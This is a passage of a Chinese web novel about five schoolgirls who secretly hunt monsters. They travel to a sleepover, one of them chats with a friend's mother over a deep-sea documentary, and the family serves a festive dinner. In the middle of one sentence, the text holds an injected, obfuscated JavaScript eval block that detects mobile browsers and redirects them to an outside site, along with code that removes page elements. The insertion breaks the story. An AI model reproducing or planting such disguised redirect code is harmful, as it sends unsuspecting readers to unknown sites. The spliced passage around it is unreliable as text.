还有很多,很多,因为森山寺未央没有停下念叨的打算。 “原来去同学家玩有这么多活动啊!”犬山晓惊讶地说,但也有些激动,“那确实很忙了,你们一定很有经验吧。” “哪有这么多篇幅?”森山寺未雅质疑道,“而且小学之后我们家附近就没我们的同龄人经过那扇三米一个摄像头的围墙了。” 犬山晓听后欲言又止。 “漫画里都是这样画的!凭什么我们不行?”森山寺未央坚持道,“不过这样的话应该就没办法玩捉迷藏了吧。” 此时,一辆列车停下,乘客上下,不久后开走了,铁轨与车轮磨擦的声音震耳欲聋。 “这辆车几乎能去城市里的每个区域呢,真是辛苦。”犬山晓感慨说,“在地图上它的路线就是个正方形,每次拐弯的时候动静都特别大呢。” “车厢年龄比我们都大了吧!”森山寺未央点头,“不过既然是免费的那也就没得挑了啦,年代感也是景色的一部分了。” “咦?为什么说是免费的?”犬山晓疑惑道,“上车后不是要刷公交卡吗?” “咦?要刷吗?学生都可以免费乘坐市内环线呀?”森山寺未央疑惑地回答。 “具体来说是21岁以下和60岁以上。”森山寺未雅补充道。 “晓不知道这个吗?”森山寺未央意外地看向犬山晓。 “…不知道,现在知道了。”犬山晓叹了口气,“不过知道了其实也差不多了。” 森山寺姐妹面面相觑。 “现在大多数公共交通工具司机都有单独的隔间,以前的话就会当面和你说这件事了。”森山寺未央比划着说。 “不,这件事上倒是没什么。”犬山晓摆了摆手。 车站外,一辆银色宾利停下,有乐羽生下车后从司机手里接过小型行李箱和一个手提袋,快步走进车站。 “大家久等啦!”有乐羽生脚步轻快神采飞扬,“艾克里普说在门口等我们。” “那就到齐啦!”森山寺未央满意地点头。 “羽生的妈妈同意了吗?”犬山晓注意到有乐羽生是家里的车送过来的。 “同意了!”有乐羽生骄傲地仰起了头,“而且同意我待到周日晚上!” “哦哦!”森山寺未央配合地鼓掌。 “你是怎么说服你妈妈的?”森山寺未雅好奇地问道。 犬山晓也非常好奇。 “其实我也不清楚。”有乐羽生想了想,“不过我把地址什么的交给她之后她就同意了。” “这个说法很危险啊。”森山寺未雅想了想,“不过其实也差不多,总之就这样吧。” “什么危险?羽生的妈妈会出现在我们家门口吗?”森山寺未央大惊。 “不会的啦!”有乐羽生也吓了一跳,“这个也太恐怖了。” “那就好——”森山寺未央注意到了有乐羽生手里的手提袋,“这是什么?派对用的零食吗?” “是管家她听说我要去同学家留宿,让我带过去给对方家长的。”有乐羽生笑着说,“不过我们要开派对吗?要开派对的话那就也一起去买点零食吧!” “原来要给家长带礼物的吗?”犬山晓紧张了起来,“我现在去找还来得及吧!” “别去啦,别在意这些,我们家从来没客人会带东西的,而且我们家零食超多。”森山寺未央阻止道,“爸爸看到礼物和果篮说不定会吓一跳呢。” “毕竟没有客人嘛。”森山寺未雅说。 “这样吗。”犬山晓也不太懂,她宿舍也不会有客人来。 谈话间一辆列车停下,门开了,几人上车后在后排的最后四个并排座位坐下,行李放在座位下方,此时天色只是微微的暗,还未到下班高峰期司机,车上不算拥挤。 “我们晚上会干什么呢?”有乐羽生期待地问。 “睡衣派对,游戏时间,桌游时间,吹蜡烛讲鬼故事。”犬山晓重复之前听到的。 “全都是没听说过的东西!”有乐羽生非常激动。 “其实,”森山寺未央有些不好意思,“其实我们也没尝试过这些啦。” “是这样吗?”犬山晓惊讶道,“我以为你们家庭活动很丰富的来着。” “两个人的话纸牌都只能玩接火车吧,不过电动游戏倒是很多。”森山寺未雅说。 “爸爸妈妈都不怎么玩游戏,也不喜欢吃零食,我们两个太闹腾的话也会被骂的。”森山寺未央连连点头。 “大人都不喜欢吃零食呢。”有乐羽生赞同地点头,“而且不是个例,几乎所有大人都不喜欢吃零食,难道大人的味觉真的会退化吗?” “饮食选择问题吧,大家成年后就需要对自己的身体负责了。而且比起零食,也有更多食物可以自由选择了。”犬山晓有条有理地说。 “哼哼,我们家的甜食可是连大人都赞不绝口的哦!”森山寺未央得意地说。 “爸爸随便把东西搅拌几下扔进烤箱都能做出好东西。”森山寺未雅赞同地点头。 “好厉害!我偶尔也想试试看烘培来着。”犬山晓羡慕地说。 “日之森有烘焙社团哦,下次开放参观课晓也去报名吧!”有乐羽生提议道,“我们家的甜食基本上就是展示品,真难想象桌上有能吃的甜品的样子。” “没错啊。”森山寺未雅想起了不好的回忆。 “我们家的甜点会给你惊喜的!各种方面哦!”森山寺未央故作神秘地说。 “什么什么?”有乐羽生期待地问。 “这个果然还是要大家都在的时候再公开啦!等艾克里普也在等时候再说吧!”森山寺未央保持了秘密。 “也是哦。”有乐羽生接受了,“说起来,不知道艾克里普现在在哪里呢?” 犬山晓又有些担心了起来。 “总感觉我们每次有什么事都会分开行动,这次也是,虽然说这样效率更高一点,但果然偶尔还是想要团队行动试试看呢。”森山寺未央点头说。 “分开行动效率就是更高吧,到底是什么事情会需要我们所有人一起行动,灭世大洪水吗?”森山寺未雅问。 “团队是一种感觉啦!”森山寺未央反驳道,“你就没有从这些义务劳动之中收获些感动什么的吗?我们做的事情也和拯救世界差不多了吧。” 车上没有人因为高中生拯救世界的话题而注视后排的几人。 “要说收获感动你不也没有收获吗?我只是遵守承诺帮忙解决这件事而已,早点解决早点结束,要早说是拯救世界的话我就不参合了。”森山寺未雅不为所动。 “那你就不能当是为了我去做这些事,然后收获些感动吗?什么叫早知道啊,你一开始不就是在偷懒耍滑然后被我逮个正着吗?”森山寺未央质疑道。 “吵起来了呢。”有乐羽生说。 “吵起来了。”犬山晓有些担心,“劝一下比较好吗?” “晓听得懂她们在吵什么吗?我可是听不懂哦,不过我能看出来她们的话吵着吵着也就和好了吧,顶多也就是再加上打一架,这里人挺多。”有乐羽生笑着说。 “这样吗?”犬山晓若有所思,“难道她们实际上是在吵什么更深奥的东西吗?是我肤浅了,我只能听出来她们在吵责任感什么的。” “也不是这样,不,也差不多啦。”有乐羽生叹了口气,“晓觉得,这件事是快点解决比较好,还是更加完善地解决比较好?” “是指我们最近发生的事情,还是一直以来发生的事情?”犬山晓思索着。 “一样的,都是一件事。”有乐羽生说,“其实一直都是一件事啦,不过是因为借着白夜社的契机延伸出了别的插曲而已,但其实那些也是这件事的一部分。” 是这座城市的一部分。 “其实这件事启明星侦探也有提到,我们其实要面对的是很多东西。”犬山晓叹了口气,“即使我们尽快解决了这件事,后续也一定有很多很多后续事件需要解决吧。” “没错。”有乐羽生点了点头,“那这些后续事件该我们去管吗?” “该吗?”犬山晓实际上也不确定,但她意识到了这就是问题本身,“所以如果我们去管这件事,那这件事就是需要很长时间去完善地解决的事情。若是我们不管,那这件事对我们来说就是可以尽快解决的事情。” “没错,我们的未来会是什么样的呢?”有乐羽生说着,期待地看着窗外的风景。 “…我的话,果然是会去主动干涉这些事的吧,哪怕那些敌人并不是魔物。”犬山晓认真地思考之后说。 “未雅就是不想干涉后续的事件,她只是在陪着未央而已。而未央却是想要更加深入地解决所有问题,这就是她们在吵的东西。”有乐羽生说到。 “羽生这不是听懂了嘛。”犬山晓笑了,“不过处理这件事并不是唯一的未来,我认为它是可以和很多种未来并存的,就像我们现在一边上学一边战斗一样。而且无论你们决定如何去做,我都会陪着你们的。” “这样吗?这样也好吧,不对,这样才好,这样才有趣。”有乐羽生说着说着笑了起来,“晓现在和我们刚刚遇到的时候变了许多呢。” “是吗?”犬山晓有些不好意思了起来。 “变得更像个队长了呢!”有乐羽生肯定道。 “这样呀。”犬山晓挠了挠脸,随即就意识到这个动作显得她很局促,就放下了手,“那我是不是应该去劝一下她们?” 另一边,森山寺姐妹还在吵架,森山寺未央指手画脚,森山寺未雅抱臂冷笑。 “不,吵架才好吧。”有乐羽生摇了摇头,“吵架才有独立思考的可能性,不能只有一个人思考呀。而且她们最终还是会和好的啦,别担心。” “这是怎么看出来的?”犬山晓讶异地问。 “毕竟一会还得坐一起吃饭呢。”有乐羽生笑了。 以前一直坐一桌吃饭的二人并没有停止争吵的打算。 “你之前就是这样,总是一副早知如此何必当初的表情,看着就让我生气!而且你是不是有时候觉得我蠢啊?我可是能看出你在想什么的!”森山寺未央怒斥道。 “早知道你会重提旧账了,这套对我没用,我现在可不会对你百依百顺了!你看得出什么啊你能看到不永远只有表面上的一些东西吗?”森山寺未雅不为所动。 “什么叫百依百顺啊?你什么时候这样过啊?”森山寺未央提出质疑。 “你这不知足的家伙!等着吧你接下来不会有顺心的日子了!”森山寺未雅冷笑一声。 “可恶啊那你也别想好过!你会怀念之前的日子的。”森山寺未央冷哼一声。 “你们之前有什么日子很值得怀念吗?”有乐羽生好奇地转过头问。 “哦这个啊!”森山寺未央想了想,“一起打游戏的时候就挺不错的,虽然我觉得种田游戏很无聊,但下矿我还是很在行的。” “说什么呢,我才觉得共斗和射击涂墨游戏很蠢好吗?”森山寺未雅说,“不过弓在哪个游戏手感都很不错呢。” “好吧,你确实是有点可取之处的。”森山寺未央勉为其难地说。 “你也勉强算是有用吧。”森山寺未雅点了点头,二人的手和嘴角都放缓了。 “…这么快?”犬山晓倒吸一口气。 “好期待泡芙塔呀!不知道艾克里普会不会已经到了呢?”有乐羽生期待地说。 艾克里普确实提前抵达了森山寺家附近,她确认了眼前的建筑应该就是目的地之后准备在附近找个地方等大家,但就在她回头的一瞬间,她背后的围墙之后的建筑物入口门被打开了。 一位身着家居服的带着眼镜的人气喘吁吁地打开门,匆忙地换了鞋之后一边调整呼吸一边迅速往大门,也就是艾克里普所在的方向走来,并且利落地推开了围墙大门。 “哎呀!”她扶了扶略微下滑的眼镜,“你就是未央未雅她们说要来的朋友吧,是先到了吗?先进来坐坐吧!” 这位恐怕是森山寺姐妹的母亲了,艾克里普匆忙之下回头的动作不禁有些慌乱,但她迅速调整好了表情做好了准备。 “您好!”艾克里普露出亲切的微笑,“冒昧来拜访了。” “没有的事!”森山寺镜摆了摆手,“进来吧进来吧,我看过你们的录像,她们在家也老提起你们,你就是那位艾克里普-阿尔卡纳同学吧。” “是的,我就是。”艾克里普愣了愣,心里忽然轻快了些。 艾克里普跟着森山寺镜进了屋,地上摆好了五双拖鞋,除去两双有使用痕迹的拖鞋以外,其余的明显是给即将到来的客人准备的。 “除了最边上两双,其它的随便穿哦!”森山寺镜表示。 “好的,谢谢您,麻烦您准备了。”艾克里普笑着道谢。 “哪里哪里!”森山寺镜犹豫了一下然后说,“叫我森山寺阿姨就可以了哦!” “好的,森山寺,阿姨。”艾克里普别扭地把这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807997|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个称呼叫出口,与老师或同学这种公式化的称呼不同,阿姨既可以是对年长女性的称呼,同时也是对女性亲属的称呼,她完全没法发自真心地喊出这两个字。 “嗯嗯。”森山寺镜眼镜后的眼睛眯了起来,“她们难得能交到朋友,这个称呼还真是新鲜。来坐坐吧,她们应该也快要到了。” “好的。”艾克里普跟着进去了,心里想着真的还不如去挤公共交通呢。 不过,她是怎么察觉到我的呢?艾克里普推了推眼镜心中有些疑惑。 森山寺镜带着艾克里普到客厅坐了下来,客厅的茶几上已经准备好了果汁和茶,以及些许甜点和零食。很明显是森山寺父母准备的,她们应该是听说有朋友会来之后就迅速地开始准备了,周围隐隐约约传来食物的香气,那是有人在厨房忙碌的证据。 太好了,她们的父母一定很爱她们吧,艾克里普为此感到开心。 艾克里普坐在单人沙发上,森山寺镜坐在她右手边,二人就这样坐着,一时竟然就没有人开口了。 她为什么不问问题?艾克里普心中为这沉默感到不明所以,她抬头去看森山寺镜,却发现对方也是一副恍惚的神色。 “啊!对了,要不要看电视?”森山寺镜匆忙地开始寻找电视遥控器,艾克里普顺手就从沙发的花朵形状靠枕后方把它摸了出来,森山寺镜接过之后按下电视开关,非常顺手地开始换台。 电视切换到了自然频道,科考队正在分享摸海豹肚皮的喜悦。 这种动物太亲近人类了,艾克里普在心中评价道。 “这么亲人,要是能养就好了。”森山寺镜喃喃自语,但很快她就意识到了什么,“哎呀不对,遥控器给你,你想看什么?也有动画片哦。”说着她慌忙地把遥控器递给艾克里普。 “啊,这个啊。”艾克里普捧着遥控器,一时也不知道该说什么,“就看这个吧,她们好像准备探索深海,很有意思。” 科考队把奇怪的仪器启动了,摄像头切换,画面中原本还湛蓝的海洋颜色在迅速变深。 “对吧!很有意思吧!”森山寺镜一副很高兴的样子扶了扶眼镜,“猜下一个出现在摄像头里的动物是什么种类也很有意思的,要不要试试看?” “好哦。”艾克里普点了点头,虽然她对于海洋的理解仅限于书籍记录,这样能迅速度过时间的话就再好不过了。 深海探测摄像头目前所处的位置光线充足,只是偶尔有浮冰遮挡。 “200米以前都是些可爱的动物呢。”森山寺镜饶有兴致地看着电视,“海豹和企鹅都会出现,并且猎食。” “也有银鲛这种软骨鱼。”艾克里普说,“不过现在应该快到暮光层了。” 说着画面中的能见度迅速下降了,只有极少的光。 “哦哦,是带鱼!”森山寺镜说,“无论看几次都觉得很美丽呢,这种光泽感。” “那是冰鱼吧,血液近乎是透明的,因为几乎没有血红蛋白。”艾克里普说。 “也有小管鱿,到了这里就能看见些反常识的生物了呢。”森山寺镜说道。 常识说到底是人类自己本身眼界不够而已,艾克里普心想。 “不过它们也不过是为了适应生存环境而已,这些银鲑鱼是南极特有的种类呢,为了适应极寒和普通鲑鱼已经相差很大了。”艾克里普说。 “马哈鱼倒是一副鲑鱼的样子呢。”森山寺镜慈祥地笑了,“进化就是无视个体意愿的长期行为啦,抗冻蛋白也只是想让主体不被冻成冰块而已。” “但是冰鱼的血管里绝大多数都是冰水,就连心脏也是白色的,基因已经被破坏了呢。”艾克里普觉得这样似乎是有些可怜的。 “它们有自己的活法,能直接从海水里吸氧,就不需要肌红蛋白带氧了。”森山寺镜说着感慨道,“真是各有各的活法啊这群努力的海底生物。” 谈话间,画面完全暗了下来,深层海洋并不是什么靠手电筒就能看见路的好心存在,接下来只能等着那个好心对象自己撞进摄像机镜头的捕捉范围内了。 二人等了好一会都没有等到新的什么出现,忽然,摄像头捕捉范围内甩过一抹白色的影子,可能是本身就是白色,或者是被探照灯印成白色的。 “附近有珊瑚的话,果然就是安康鱼了吧!”森山寺镜说道。 “也有可能是深海狮子鱼,形状上更相似一点。”艾克里普说道,实际上她能确定那就是深海狮子鱼,她没有错过那一瞬间的反光下其独特的鱼背肌肉组织。 “两种可能性都存在呢,那就当它同时是两种鱼好啦。”森山寺镜没有很纠结。 “这样的话那不是可以说它是任何一种深海鱼吗?那也有可能是奇形虾了,毕竟强光下只有形状是判断依据。”艾克里普无奈地说。 “那不是很好吗?”森山寺镜接受了这一说法,“那这次下潜就这样收获了三个可能性,足够写点东西了。” 人类就是喜欢这样象征性的行为的吗?艾克里普心想,但她不理解为何森山寺镜也是这样想的,明明她只是个看电视的。 摄像头又许久没等到下一个客人。 “您喜欢深海动物吗?”艾克里普问,想了想补充道,“森山寺阿姨?” “一般吧,我还是比较喜欢有毛皮的。”森山寺镜如实说到,“但是偶尔看些深海鱼也能拉伸一下紧绷的思维吧,奇形怪状的。” “原来是这样啊。”艾克里普点了点头,“深海里确实有很多未知生物呢。” “对吧?那头电视里如果出现了完全没见过的生物,那就很有意思了。”森山寺镜笑了,“那样的话哪怕只是存在于这个客厅内,那生物的命名权就暂时交给我们了,星云状八面立方体巨型幽灵章鱼什么的?” “如果真的能这样命名的话那长相一定很了不起吧。”艾克里普笑了,她心想这样的话那大概率就是某种魔物了吧,虽然水下的魔物有自己的生态系统,但魔物就是魔物。 “总比直接叫未知生物或者UMA好得多。”森山寺镜点点头,艾克里普心想这大概就是为什么森山寺未央的属下如此多元化了吧。 比起将同化的魔物直接称为魔物,或者用魔法分类去代称为某种魔物,森山寺未央将魔物以魔法分类塑造为不同的棋子,这样的行为在艾克里普看来是很有创造力的。虽然这仅仅是某种捏造命名的行为,却也为其赋予了与众不同的价值。 “这是很有创意的。”艾克里普点了点头。 “在我看来这就和将那抹白色的影子同时赋予三种鱼一样,就是因为还没被确定,所以我们才能肆意妄为的。”森山寺镜扶了扶眼镜,“也不过是短时间内有意义的魔法而已,阿尔卡纳同学觉得这样有意思吗?” “这个。”艾克里普完全不认可这是某种魔法,毕竟与魔法不同,这种短暂时间内赋予一个未知生物名字的行为是完全不会带来任何影响的,甚至她们都不会把这个名字写在邮件里发送给科考队,只是这样说着玩了之后就抛之脑后了而已。 这样的行为没有意义,并不是魔法,艾克里普这样判断道。 “啊,抱歉,有些强人所难了吗?”森山寺镜摸了摸头发,“果然不是所有人都觉得这个有意思啊。” 艾克里普这才回过神来,魔法只是“命名游戏”的一环,对方问的是,这个游戏是否有意思。 “有意思的。”艾克里普笑了,“这种创造性的行为很有趣呢。” “是嘛!”森山寺镜被激励了一样,一边开始翻茶几下面的储物篮子一边说到,“那阿尔卡纳同学也来试试吧!纠结的话我这里也有各种主题的骰子,随机命名也很有意思哦!强行把形象往名字上靠什么的。” “哎呀 。”艾克里普心想大家到底什么时候才能到。 “镜!”厨房里有人在呼喊,“跑哪去了?过来帮下忙!” “哎呀,都忘记还有这事了。”森山寺镜站了起来找自己的拖鞋,“我得去帮忙了,阿尔卡纳同学在这里看会电视吧,零食什么的自便哦。” “好的,不用管我的,辛苦你们了!”艾克里普连连点头。 森山寺镜迅速跑进了厨房,拖鞋在木质地板上发出一连串的啪嗒声,渐行渐远。 艾克里普看着电视画面中的一片虚无,终于能有空闲打量起了周围的环境。森山寺家是很普通的现代人类住宅,建筑材料信息不多,并没有魔力留下的痕迹,她来到附近时也没有察觉到周围有魔物的气息,想必是有人经常在附近巡逻。 是因为有家人在这里吗?艾克里普心想着,不由得想起了以前夜藤夫妇还在的时候,自己也是经常趁着夜晚出门狩猎魔物。毕竟出去和回来的时候都会经过事务所附近,一来二去那时的事务所附近大概是整座城市魔物最少的地方了。 那时她偶尔还会在夜间发现不平事的时候出手阻止,但现在她已经很少这么做了。因为她曾经这样做的原因主要是为了维护夜藤事务所附近的和平,以及夜藤夫妇的人身安全问题。后来事务所被施加了魔法,就不需要担心这件事了。 不过现在事务所都不在了,这个问题从根本上被解决了呢。这样想着的艾克里普心里不知为何却轻松不起来。 是因为那里曾经是对她有恩的夜藤夫妇的家吗?还是因为她在那里待久了所以有所留念呢?艾克里普自己都不清楚原因究竟是什么了,她看着漆黑的电视屏幕,听着厨房里忙碌的声音,感受着食物的气息,一瞬间,她觉得自己回到了很久以前的某个时刻。 你不该这样的,你知道的吧。艾克里普知道,这些不属于她,她不需要这些,这些对她来说毫无意义。 但现在这个时刻,她有着正当的原因待在沙发上感受这一切。带着这种对理所当然引发的视而不见,艾克里普什么都没有去想。 过去了不知道多久,摄像头还是没遇到下一个目标,但门外传来了轮子在地面滑动的声音,有金属门锁被打开的声音,有四个人的脚步声。 艾克里普站了起来,走向门口,越走越快,她在她们抵达之前拉开了大门,自然光线照射进入屋内玄关,门外是那四个她想见到的人。 “艾克里普已经到啦!”森山寺未央高兴地说,“欢迎来我们家玩!好香啊这个味道。” “是糖分的味道!”森山寺未雅迫不及待地往里走,“欢迎大家来我们家玩哦。” “打扰了!”犬山晓领着行李箱侧面的提手,小心又激动地走进了屋。 “打扰了!”有乐羽生也礼貌地问候了之后提着东西进入屋内,“艾克里普到的好早呢,走吧,一起进去吧!” “嗯!走吧。”艾克里普露出了微笑。 65.第二行 森山寺镜听见动静之后从厨房内探出了头,森山寺波还在处理泡芙塔的搭建问题,专心致志无法分心。 “大家都到啦!”森山寺镜手里还带着烤箱手套,“大家先在客厅玩吧,未央和未雅要好好招待大家哦!” “交给我吧!”森山寺未央超大声回应。 “交给她吧。”森山寺未雅说。 森山寺镜满意地点头,又回到厨房里面了。 “行李箱就放楼梯口吧,一会上楼的时候再一起提上去就好。”森山寺未央帮着把两个行李箱停在楼梯口,笑容是很得意能招待客人的弧度。 “在看这个呢。”森山寺未雅看到了电视屏幕,“这个肯定是妈妈要看的吧,也是辛苦你盯着这个为科考项目组筹集赞助的无奖竞猜节目了。” “哪里,还挺有意思的。”艾克里普笑着说,“森山寺阿姨也是很亲切的人呢。” “这个称呼好新鲜啊。”森山寺未雅摸了摸下巴。 “森山寺,阿姨。”犬山晓跟着说了一遍,“还有森山寺叔叔吗?” “当然有的吧!”森山寺未央奇怪地说。 “这个是,画出来的吗?”有乐羽生看着客厅里的树轮油画,“好厉害啊,这个纹路还是立体的,就和真的一样。” 有乐羽生对艺术鉴赏还算有研究,虽然她不认为家里那些画全都是物有所值的,但眼前这幅毫无疑问凝聚着画师的心血。 “是爸爸画的哦!”森山寺未央凑上来说,“不过这个角是我画的,那个角是未雅画的。” “这样啊!”有乐羽生愣了愣,“居然是画的!” “画当然是画出来的啦!”森山寺未央觉得这个说法很好笑,“来坐会吧,有巧克力涂层饼干混合口味诶,等等那个粉色的不会是樱花味的吧?!” “我来了!”有乐羽生迅速前往茶几旁边坐下,“哦哦哦五彩斑斓,感谢叔叔阿姨的馈赠。” “感谢叔叔阿姨的馈赠。”犬山晓也有样学样地感谢道,“说起来花园外面的围栏上为什么有那么多小型鸟屋呢,这里经常有小动物来吗?” “那些是摄像头啦。”森山寺未雅一边翻零食堆一边说,“不过附近小动物确实特别多,西边一个小公园有一大堆乌鸦。” “原来是这样,怪不得我在门口站了一下就被森山寺阿姨发现了。”艾克里普感慨道。 “这算是妈妈她的生活习惯。”森山寺未雅叹了口气,“不过我觉得这样也挺好的。” “生活习惯,吗?”犬山晓不太能理解。 “这个,我可以拆吗?”有乐羽生拿着一盒苹果造型巧克力涂层饼干问。 “拆,都可以拆。”森山寺未央摊开双手慷慨地说,“我也要一块,这个好像是外地的特产吧,那个苹果很多的地方。” “对哦,盒子上写着限定来着。”有乐羽生扒拉开了包装盒,“这种在便利店里都见不到呢,这些零食里好多都是。” “爸爸他很喜欢去犄角旮旯的地方找灵感,所以总能找到奇怪的特产店。”森山寺未央摸出一块饼干拆了包装,苹果造型的巧克力涂层饼干闻着也是苹果味的。 “叔叔阿姨的职业我可以问吗?”有乐羽生好奇道。 “妈妈她在东部市区的一家科技公司当项目主管,兼职发明家,爸爸他是艺术家哦,画廊就在附近呢。”森山寺未央非常自豪。 “跨度也太大了!”犬山晓惊讶道,“这是怎么认识的呀。” “诶,要问这个呀!”森山寺未央嘻嘻嘻地笑,“怎么办呢要不要说呢?” “等等这里就要开始讲老一辈的爱情故事了吗?”犬山晓有些紧张。 “就是很普通的遇到了,电波对上了就好上了,普通人哪有那么多故事可以讲啊。”森山寺未雅毫不留情地说。 “不过森山寺阿姨她思考方式很有趣呢,聊天之后我可以理解一些你们的想法和做法了。”艾克里普笑了一声说道。 “这种家庭氛围真是神奇。”有乐羽生羡慕地着,给自己倒了杯橙汁。 “每家的氛围都不一样,但总感觉也都有相似之处呢。”艾克里普感慨道。 感慨基于怀念。 “有吗?”有乐羽生认真思考着。 “找找的话就能找到哦。”艾克里普点头。 “确实,想想的话这里和宿舍那里其实也有些相似的感觉。”犬山晓赞同地点点头,“果然有联系的人聚在一起就会有这种感觉。” “居然是宿舍,可是日之森的宿舍不全都是老师吗?”森山寺未央不可置信地问。 “确实是。”犬山晓点头,想了想补充道,“老师在不教学的时间也都只是普通人呀,大家都有自己的生活方式,宿舍一楼大厅偶尔会有活动,还会有老师聚在一起聊天什么的。” “无法想象。”森山寺未央倒吸了一口气。 “晓原来是可以跨越年龄障碍聊天的吗?但这可是老师,明明你平时那副样子但却能毫不客气地和老师聊起来吗?”森山寺未雅也倒吸一口气。 “嘛,也差不多啦。”犬山晓摸了摸后脑勺。 “这样一说我也有类似的感觉,比起学校里的其它同学,我觉得和老师聊天的时候更加轻松一些。”艾克里普说道,“不过也只是普通地聊聊而已,可能是因为老师看着我的时候不会表现出额外的情绪吧。” “学校里的每个老师都认识我,每次遇到我都得一个个问好,有的时候不小心忘记了就会有一种莫名心虚的感觉。”有乐羽生郁闷地说。 “…总感觉这样很讨厌。”艾克里普想象了一下就感同身受地心里一紧,“果然还是存在感低一点比较好。” “存在感低的话就很容易被忽略吧,这样也没关系吗?”犬山晓担心地问。 “不用担心这一点哦,对我来说,比起担心有很多人心里念着自己,还是被忽略比较好,而且做些什么也不会被影响。”艾克里普点了点头。 “艾克里普意外地不擅长社交嘛,和我一样!”森山寺未央满意地点头。 “社会交际?除了必要的之外我确实会尽可能地避免不需要的。”艾克里普笑着点了点头,“这幅眼镜真是为我避免了很多麻烦呢。” “这不一样,真的不一样。”森山寺未雅纠正道。 “不一样吗?”艾克里普思索着,“都是与大多数普通人不产生联系,结果一样的话其实也差不多吧。” “这样一说那其实我也是吧,我在学校里几乎没有人会来找我。”犬山晓说道,“之前有人来找我还是来找麻烦的。” “这也不一样。”森山寺未雅想起了之前那件事。 “如果全都是不一样的话,那其实也就是全都是一样的了吧。”有乐羽生笑呵呵地吃着粟米条,“不用纠结细节太多啦,而且既然大家都觉得可以那就没问题吧!” “就是这样!”艾克里普赞同地点头。 “那就这样吧。”森山寺未雅叹了口气,摸过麻薯开始拆包装,“这个居然是栗子泥的。” “现在这种粗粮制成的甜品反而流行了起来呢。”犬山晓想起自己看过的一些广告,“之前更流行精致的甜品,不过其实粗粮的甜品也没健康到哪里去就是了。” “我一直是粗粮派的,这种滑过嗓子时喝水的感觉和粗粮本身一样很扎实呢。”森山寺未雅点头,捏了捏手里的麻薯。 “甜点派系吗,那我是色素派的吧。”有乐羽生若有所思地说。 “在你们家的饮食文化之下你是什么派系的都不算奇怪。”森山寺未雅说。 “如果要以饮食文化来判断的话那未央和未雅应该是同一个派系吧。”有乐羽生说。 “才不是嘞!我喜欢奶油制品,尤其是冰淇淋!比起意大利冰淇淋更喜欢奶油含量高的那种哦。”森山寺未央说着讲究了起来,“面包也要冷藏柜里那种才好,或者现场挤奶油的,其实这种也算是比较老派的甜点了吧。” “确实,那种轻飘飘的甜品都是21世纪初的前后因为白砂糖的大面积普及开始大面积出现并流行的。”艾克里普说道,“不过意大利冰淇淋也是那个时候开始流行的吧,很多别的地区的甜品也是,我不太能欣赏甜的食物呢。” “说起来艾克里普确实不怎么吃甜品,没有喜欢的种类吗?”有乐羽生好奇地问。 “一般来说不会吃吧,不过一定要说的话。”艾克里普思索着说,“抹茶和咖啡的香气很独特,我还挺喜欢的。” “这才是真正的古典派,就和大提琴一样。”森山寺未雅点头。 “这里咖啡店特别多,比西部市区的还多了。”犬山晓想起来时看到的街道,“还有很多在社交网络上打广告的店铺呢,排队的人真是壮观。” “晓经常关注这些呢,也会去排队吗?”有乐羽生问道。 “其实是会的,我很少吃甜点,所以每次都想尝尝看没吃过的。”犬山晓说起这里有些不好意思,“不过每次看了广告去排队,大多数结果都不是很理想呢。” “说起这个,之前我们也遇到了这种情况来着。一个老太太当着一条至少十米长的队伍把只吃了一口的冰淇淋扔进垃圾桶。”森山寺未央说起之前在街头遇到的神奇轮椅老人,“不过比起她的行动,她的轮椅才是更加壮观的那个。” “能在那种情况下做出那种行动,真是,勇敢。”艾克里普听着就感觉要被视线淹没了。 “好想尝尝看啊。”有乐羽生产生了好奇心。 “那种情况下无论如何都得找个人少的地方再丢吧!”犬山晓觉得这样才正常。 “可能很生气吧。”艾克里普同情道,“老人本来就不太能吃冰淇淋这种食物,排队很久结果还大失所望,一气之下丢了也情有可原。” “那倒是啦,希望我老了也能吃冰淇淋。”森山寺未雅说。 “没错没错!”有乐羽生赞同地说。 “晚餐快准备好了,去洗手准备吃饭吧。”森山寺镜端着一个竹制篓筐从厨房里走出来。 几人纷纷答应着,简单将桌面垃圾清理了之后一个个排着队洗了手,并前往餐厅。 有八个座位围成一圈的餐桌上已经摆放了一些食物,比如堆成小山的小吃盘,五颜六色的包饭和淋了酱沙拉,竹筐里装着热腾腾的炸鸡块,一旁的大方盘子中放着水果串和烤肉串,餐桌的正中间就是被心心念念了好久的泡芙塔,有五层高,外面撒了细细的砂糖粉。 “这简直就是童话世界里才会出现的餐桌。”有乐羽生呆呆地看着,“我做梦都不敢这么做,这些食物都是真的吗?我们可以吃吗?” “可以哦?”森山寺波从厨房里走出来,手里端着一盘巨大的方形披萨,近乎达到了家用烤炉的极限大小,由四种类型拼凑而成,“不过记得先吃蔬菜。” “别客气多吃一点哦!我们家第一次有这么多客人来,大家还都是长身体的孩子,就尽可能多准备了食物。”森山寺镜推着一辆小推车走出来,上面堆放着餐盘和水杯,以及冒着冷气的几壶饮料。 “好的叔叔阿姨!谢谢叔叔阿姨!”有乐羽生连连点头。 “这称呼真是新鲜。”森山寺波愣了愣,“别客气都坐吧,东西都差不多齐了。” “对吧?没想到还能有这么一天呢!”森山寺镜笑着招呼大家坐下,给每个人身前放餐具。 “谢谢叔叔阿姨!”犬山晓也坐下道谢,她因为非常不适应这种被大人照顾的感觉,坐在椅子上显得有些局促不安。 “这真是丰盛的晚餐,准备这些一定很辛苦吧,谢谢你们。”艾克里普也在圆桌边坐下道谢,这些食物即精致分类还多,她能看出来下了很大一番功夫。 “爸爸!有没有准备那个!那个!”森山寺未央凑过去问,顺便帮忙把桌子中的餐盘推出一个能放披萨的空隙。 “安心。”森山寺波笑了,“就和以前一样。” “哇——”森山寺未雅和森山寺未央一起欢呼。 “什么什么?准备了什么?”有乐羽生好奇地问。 “那个焦糖泡芙塔里的其中一个泡芙里面放了一枚硬币,所以吃的时候要记得细嚼慢咽哦!”森山寺未央比划着说。 “以前是吃到硬币的人能指使其它人做一件事,不过这次好多人呢,能做件大事了。”森山寺未雅说。 